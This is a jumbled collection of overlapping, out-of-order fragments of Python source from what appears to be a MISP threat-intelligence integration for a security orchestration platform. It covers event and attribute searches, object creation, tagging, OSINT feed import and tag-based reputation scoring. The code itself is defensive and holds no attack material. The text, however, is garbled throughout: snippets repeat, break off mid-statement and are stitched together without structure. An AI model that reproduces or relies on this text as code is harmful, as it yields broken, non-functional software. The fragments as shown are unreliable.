'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS\",\n \"value for the Source Reliability parameter\\\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \\\"attributes_limit\\\", required=True) command\",\n \"type that got in \\\"\\\"\\\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in\",\n \"url is correct.') if \\\"Please make sure the API key and the URL\",\n \"search attribute request found_tag (str): The tag that was scored as malicious or\",\n \"\\\"\\\"\\\"Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \\\"\\\"\\\" text = demisto_args.get('text')\",\n \"following logic. Indicators of attributes and Events that: * have tags which configured\",\n \"= '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\\\"[MISP\",\n \"CommandResults(readable_output=f\\\"No attributes found in MISP for the given filters: {args}\\\") def build_events_search_response(response: Union[dict,\",\n \"add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute` parameter could not be\",\n \"tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events',\",\n \"tags are valid positive integers.\\\"\\\"\\\" for tag in tag_ids: try: tag = int(tag)\",\n \"] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis',\",\n \"readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal: bool\",\n \"Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults:\",\n \"'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id',\",\n \"if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise\",\n \"outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id,\",\n \"def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" Test module. \\\"\\\"\\\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit <\",\n \"include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if\",\n \"args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format:\",\n \"format. please note: attributes are excluded from search-events output as the information is\",\n \"see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:', 'OR:'\",\n \"'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date':\",\n \"proxies: dict): \\\"\\\"\\\"Gets an OSINT feed from url and publishing them to MISP\",\n \"[ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution',\",\n \"1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response =\",\n \"response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if page and\",\n \"event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in event_tags] def\",\n \"obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \\\"\\\", \\\"\\\" for event in\",\n \"hash of format MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if not\",\n \"elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command ==\",\n \"tag ids and Suspicious tag ids lists the indicator will be scored as\",\n \"get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS\",\n \"as malicious. suspicious_tag_ids (set): Tag ids should be recognised as suspicious reliability (DBotScoreReliability):\",\n \"includes all the events that were detected as related to the tag. \\\"\\\"\\\"\",\n \"dict) -> CommandResults: \\\"\\\"\\\"Execute a MISP search over 'attributes'\\\"\\\"\\\" args = prepare_args_to_search('attributes') outputs_should_include_only_values\",\n \"(str): The indicator value (an IP address, email address, domain, url or file\",\n \"outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list =\",\n \"an attribute (True) or event (False). \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag')\",\n \"in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args,\",\n \"(i.e found_tag) which caused the indicator to be scored as malicious or suspicious.\",\n \"attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp']\",\n \"-> str: \\\"\\\"\\\" Gets a timestamp from MISP response (1546713469) and converts it\",\n \"= args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true'\",\n \"about the attributes. \\\"\\\"\\\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object))\",\n \"suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args))\",\n \"should be recognised as malicious. suspicious_tag_ids (set): Tag ids should be recognised as\",\n \"list of attributes along with their events objects. Note: When limits the attributes\",\n \"formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\\\"ID\\\": event_id}) human_readable = f'Object has been added to MISP\",\n \"{tag_id for tag_id in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids\",\n \"isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args)\",\n \"that existing event. \\\"\\\"\\\" attributes_args = { 'id': demisto_args.get('event_id'), # misp event id\",\n \"the command search-attributes in order to get the information about the attributes. \\\"\\\"\\\"\",\n \"add tag to given UUID of event or attribute. is_attribute (bool): if the\",\n \"== 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if\",\n \"required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable =\",\n \"events[i].get(key) for key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = [] #\",\n \"outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list\",\n \"'Please make sure your MISP server url is correct.') if \\\"Please make sure\",\n \"== 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args))\",\n \"url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') #\",\n \"response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\\\"MISP search-attributes\",\n \"args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format:\",\n \"events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type:\",\n \"\\\"\\\"\\\" This function searches for the given attribute value in MISP and then\",\n \"\\\"NewConnectionError\\\" in error: return_error('Unable to connect to MISP because of a NewConnectionError, '\",\n \"if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ]\",\n \"results were found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\\\"No\",\n \"response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in\",\n \"all the events that include the indicator Please see an example for a\",\n \"complex query contains saved words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter\",\n \"(set): Tag ids should be recognised as malicious. suspicious_tag_ids (set): Tag ids should\",\n \"malicious or suspicious. Args: all_attributes (dict): The parsed response from the MISP search\",\n \"sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events)\",\n \"found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for\",\n \"been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\\\"An error was occurred:\",\n \"def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results\",\n \"scored 2 (i.e suspicious). * don't have any tags configured as suspicious nor\",\n \"outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events\",\n \"= THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else\",\n \"or suspicious. Args: all_attributes (dict): The parsed response from the MISP search attribute\",\n \"pagination_message += f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP search-attributes returned {len(response_for_context)} attributes\\\\n\",\n \"is_attribute (bool): if the given UUID belongs to an attribute (True) or event\",\n \"= tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable,\",\n \"found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \\\"\\\"\\\" As tag list\",\n \"value (str): The indicator value (an IP address, email address, domain, url or\",\n \"\\\"\\\"\\\" scored_events = [] if found_tag: for attribute in all_attributes: event = attribute.get('Event',\",\n \"== 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to'\",\n \"raise DemistoException(f'Event ID: {event_id} has not found in MISP: \\\\nError message: {response}') else:\",\n \"complex query found returns the original input \\\"\\\"\\\" regex_and = r'(AND:)([^\\\\;]+)(;)?' regex_or =\",\n \"DemistoException(f\\\"Error: The given email address: {value} is not valid\\\") def get_indicator_results(value, dbot_type, malicious_tag_ids,\",\n \"recognised as malicious. suspicious_tag_ids (set): Tag ids should be recognised as suspicious reliability\",\n \"'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy',\",\n \"all the tags and search if found_tag is one of it's tags. If\",\n \"that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain':\",\n \"return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids\",\n \"len(events)): # Filter object from keys in event_args events[i] = {key: events[i].get(key) for\",\n \"event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', [])\",\n \"(i.e suspicious). * don't have any tags configured as suspicious nor malicious will\",\n \"if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False\",\n \"event in response_object] for i in range(0, len(events)): # Filter object from keys\",\n \"raise DemistoException( f'`attribute` parameter could not be decoded, may not a valid JSON\\\\nattribute:\",\n \"Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings':\",\n \"level, default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute\",\n \"events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events\",\n \"} for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \\\"\\\"\\\" Converts args\",\n \"attribute in attributes_list: attribute.pop(\\\"RelatedAttribute\\\") # get rid of this useless list event =\",\n \"be zero or a positive number\\\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for\",\n \"requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object =\",\n \"command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes':\",\n \"'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation',\",\n \"= f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context) == limit: pagination_message += f\\\"Showing page\",\n \"= build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\\\"MISP search-attributes returned {number_of_results} attributes\\\", response_for_context[:number_of_results],\",\n \"tag that was scored as malicious or suspicious. If no tag was found,\",\n \"and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\\\"## MISP update attribute\\\\nAttribute: {attribute_uuid} was updated.\\\\n\\\"\",\n \"= [\\\"1\\\", \\\"2\\\", \\\"3\\\"] for event in found_related_events.values(): if event['Threat Level ID'] in\",\n \"event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects':\",\n \"pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context) == limit: pagination_message += f\\\"Showing\",\n \"'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} }\",\n \"output format. \\\"\\\"\\\" response_object = copy.deepcopy(response) if include_correlations: # return full related attributes\",\n \"'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS =\",\n \"object type that got in \\\"\\\"\\\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item\",\n \"configured as malicious will be scored 3 (i.e malicious). * have tags which\",\n \"get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \\\"FILE\\\": hash_type = get_hash_type(value) if hash_type ==\",\n \"{len(response_for_context)} events.\\\\n {pagination_message}\\\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Event\\\", outputs_key_field=\\\"ID\\\" )\",\n \"tag_set_ids. In any other case, we won't add the tag. Args: attribute_dict (dict):\",\n \"limit this list to include only the ID and Name fields. In addition,\",\n \"= Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\\\"Match found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot,\",\n \"def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS\",\n \"event with ID: {event_id} has been successfully created.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',\",\n \"raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1]\",\n \"ids should be recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int)\",\n \"controller demisto.debug(f\\\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\\\") return args_to_misp_format def build_attributes_search_response(response:\",\n \"another command (create event for example) Args: event_id (int): Event ID to add\",\n \"tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',\",\n \"made the indicator to get that score found_related_events (dict): contains info (name, id,\",\n \"= false), and the tag is only related to an attribute we would\",\n \"return_error('Unable to connect to MISP, ' 'Please make sure the API key is\",\n \"operators is optional. if 'demisto_query' does not contains any of the complex operators\",\n \"the given: '{tag}' id.\\\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type =\",\n \"no complex query found returns the original input \\\"\\\"\\\" regex_and = r'(AND:)([^\\\\;]+)(;)?' regex_or\",\n \"= 1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings']\",\n \"'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info':\",\n \"was called from create event command, the attrubite will be added to that\",\n \"malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids,\",\n \"domain: {value} is not valid\\\") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value):\",\n \"malicious will be scored by their event's threat level id. In such case,\",\n \"for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event\",\n \"attribute_instance.category = category if value: attribute_instance.value = value if comment: attribute_instance.comment = comment\",\n \"url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append(\",\n \"'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid':\",\n \"any tags configured as suspicious nor malicious will be scored by their event's\",\n \"After getting all the attributes which match the required indicator value, this function\",\n \"the information about the attributes. \\\"\\\"\\\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object\",\n \"if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given email\",\n \"new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value)\",\n \"args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \\\"\\\"\\\" Convert the response of\",\n \"attributes which match the required indicator value, this function parses the response. This\",\n \"which include tag ids. If there is an id that exists in both\",\n \"the indicator score by following logic. Indicators of attributes and Events that: *\",\n \"tableToMarkdown( f\\\"MISP search-attributes returned {len(response_for_context)} attributes\\\\n {pagination_message}\\\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md,\",\n \"PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for\",\n \"if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for\",\n \"PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\\\"An error was occurred: {response.get('message')}\\\") elif response.get('Sighting'): human_readable\",\n \"the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'),\",\n \"data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score,\",\n \"outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal: bool =\",\n \"'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error:\",\n \"the given attribute args\\\"\\\"\\\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event,\",\n \"Convert the response of event search returned from MISP to the context output\",\n \"amount to the given limit) and by sub-functions calculated the score of the\",\n \"response (1546713469) and converts it to human readable format \\\"\\\"\\\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if\",\n \"those fields as they are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name\",\n \"readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will\",\n \"to True\\\"\\\"\\\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value')\",\n \"attribute_instance.value = value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen\",\n \"using ',' as delimiter for parameters and ';' as delimiter for operators. using\",\n \"return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \\\"\\\"\\\" Examples are available in UT: test_build_misp_complex_filter.\",\n \"ids (attribute tags and event tags). Args: value (str): The indicator value (an\",\n \"= prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page',\",\n \"analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else 'Event from\",\n \"\\\"\\\"\\\"given_object is attribute or event, depends on the called function\\\"\\\"\\\" if given_object.get('Galaxy'): given_object['Galaxy']\",\n \"'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last')\",\n \"given: '{tag}' id.\\\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type')\",\n \"'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') ==\",\n \"and the URL are correct\\\" in error: return_error('Unable to connect to MISP, '\",\n \"if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id,\",\n \"valid\\\") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given\",\n \"they are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return\",\n \"misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return\",\n \"command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events':\",\n \"# response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value')\",\n \"DemistoException( f\\\"Error: An event with the given id: {event_id} was not found in\",\n \"attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution\",\n \"return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Event\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No events found\",\n \"= [] for i in range(len(related_events)): if related_events[i] not in related_events[i + 1:]:\",\n \"CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Attribute\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No attributes found in\",\n \"\\\"\\\"\\\" Gets 2 sets which include tag ids. If there is an id\",\n \"def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \\\"\\\"\\\" Convert the response of attribute\",\n \"= r'(NOT:)([^\\\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or,\",\n \"related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if\",\n \"Unknown so no events should be found. Returns: list includes all the events\",\n \"demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg\",\n \"the data is attribute's (attribute tags). \\\"\\\"\\\" output = [] tag_set_ids = set()\",\n \"the greater event ids are the newer ones. Returns: response (dict): The parsed\",\n \"found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids,\",\n \"return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \\\"\\\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict,\",\n \"attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID',\",\n \"= warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or not\",\n \"to be scored as malicious or suspicious. Args: all_attributes (dict): The parsed response\",\n \"describes MISP object Returns: list: list containing dicts that GenericObjectGenerator can take. Examples:\",\n \"human_readable = f'Tag {tag} has been successfully added to event {uuid}' return CommandResults(\",\n \"else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else\",\n \"and 'NOT:' using ',' as delimiter for parameters and ';' as delimiter for\",\n \"= FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \\\"\\\"\\\"Adds a domain object to\",\n \"} INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL':\",\n \"tag in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name')\",\n \"CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid)\",\n \"demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id\",\n \"GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials',\",\n \"be returned Returns: str: dictionary created for misp to perform complex query or\",\n \"attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response,\",\n \"'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults: \\\"\\\"\\\" Execute\",\n \"def add_url_object(demisto_args: dict): \\\"\\\"\\\"Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \\\"\\\"\\\"\",\n \"given id: {event_id} was not found in MISP. please check it once again\\\")\",\n \"Pymisp. Args: args: dictionary describes MISP object Returns: list: list containing dicts that\",\n \"args_to_misp_format['controller'] = controller demisto.debug(f\\\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\\\") return args_to_misp_format\",\n \"(is_event_level = true) we would like to add to tag_set_ids all the tags\",\n \"return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError\",\n \"was added to event id {new_event.id}.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event\",\n \"md = tableToMarkdown( f\\\"MISP search-attributes returned {len(response_for_context)} attributes\\\\n {pagination_message}\\\", attribute_highlights, removeNull=True) return CommandResults(\",\n \"'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page',\",\n \"replace_keys_from_misp_to_context_data(obj_to_build: 